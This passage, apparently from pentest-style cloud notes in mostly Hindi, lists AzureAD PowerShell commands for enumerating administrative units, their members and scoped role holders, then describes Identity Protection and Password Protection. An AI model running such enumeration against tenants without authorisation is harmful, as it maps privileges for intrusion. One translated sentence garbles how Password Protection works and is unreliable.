Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

Azure AD आईडेंटिटी सुरक्षा (AIP)

Azure AD आईडेंटिटी सुरक्षा (AIP) एक सुरक्षा सेवा है जो स्वचालित पहचान और सुधार का उपयोग करती है ताकि यूज़र आईडेंटिटी को कम्प्रोमाइज़ होने से बचाए। AIP निरंतर यूज़र साइन-इन्स और आईडेंटिटी कॉन्फ़िगरेशन का जोखिम मॉनिटर करता है, स्वचालित रूप से उचित सुरक्षा उपाय लागू करता है, जैसे कि मल्टी-फैक्टर प्रमाणीकरण की आवश्यकता हो या संभावित खतरनाक गतिविधियों को ब्लॉक करना। यह संगठनों को आईडेंटिटी-आधारित सुरक्षा उल्लंघनों से बचाने में मदद करता है।

फ़्लो:

  1. Azure AD आईडेंटिटी सुरक्षा यूज़र गतिविधियों का मॉनिटरिंग करती है और यूज़र साइन-इन्स, प्रमाणीकरण घटनाएँ और अन्य संबंधित गतिविधियों पर डेटा एकत्र करती है।

  2. सेवा मशीन लर्निंग एल्गोरिदम का उपयोग करती है इस डेटा का विश्लेषण करने और संभावित सुरक्षा खतरों का पता लगाने के लिए।

  3. Azure AD आईडेंटिटी सुरक्षा खतरे को एक स्तर आवंटित करती है (जैसे साइन-इन) और यदि आवश्यक हो तो एक अलर्ट जेनरेट करती है कुछ स्वचालित कार्रवाई करने के लिए।

Azure AD पासवर्ड सुरक्षा (APP)

Azure AD पासवर्ड सुरक्षा (APP) एक सुरक्षा सुविधा है जो अजीब पासवर्डों को रोकने में मदद करती है जो एज़्यूर एक्टिव डायरेक्टरी में मजबूत पासवर्ड नीतियों का पालन करते हैं। APP सामान्यत: उपयोग किए जाने वाले कमजोर पासवर्डों और उनके वेरिएंट्स को ब्लॉक करती है, पासवर्ड संबंधित उल्लंघनों के जोखिम को कम करते हुए। इसे साथ ही बादल स्तर और स्थानीय एक्टिव डायरेक्टरी पर लागू किया जा सकता है, संगठन में कुल में पासवर्ड सुरक्षा को बढ़ावा देते हुए।

संदर्भ

Last updated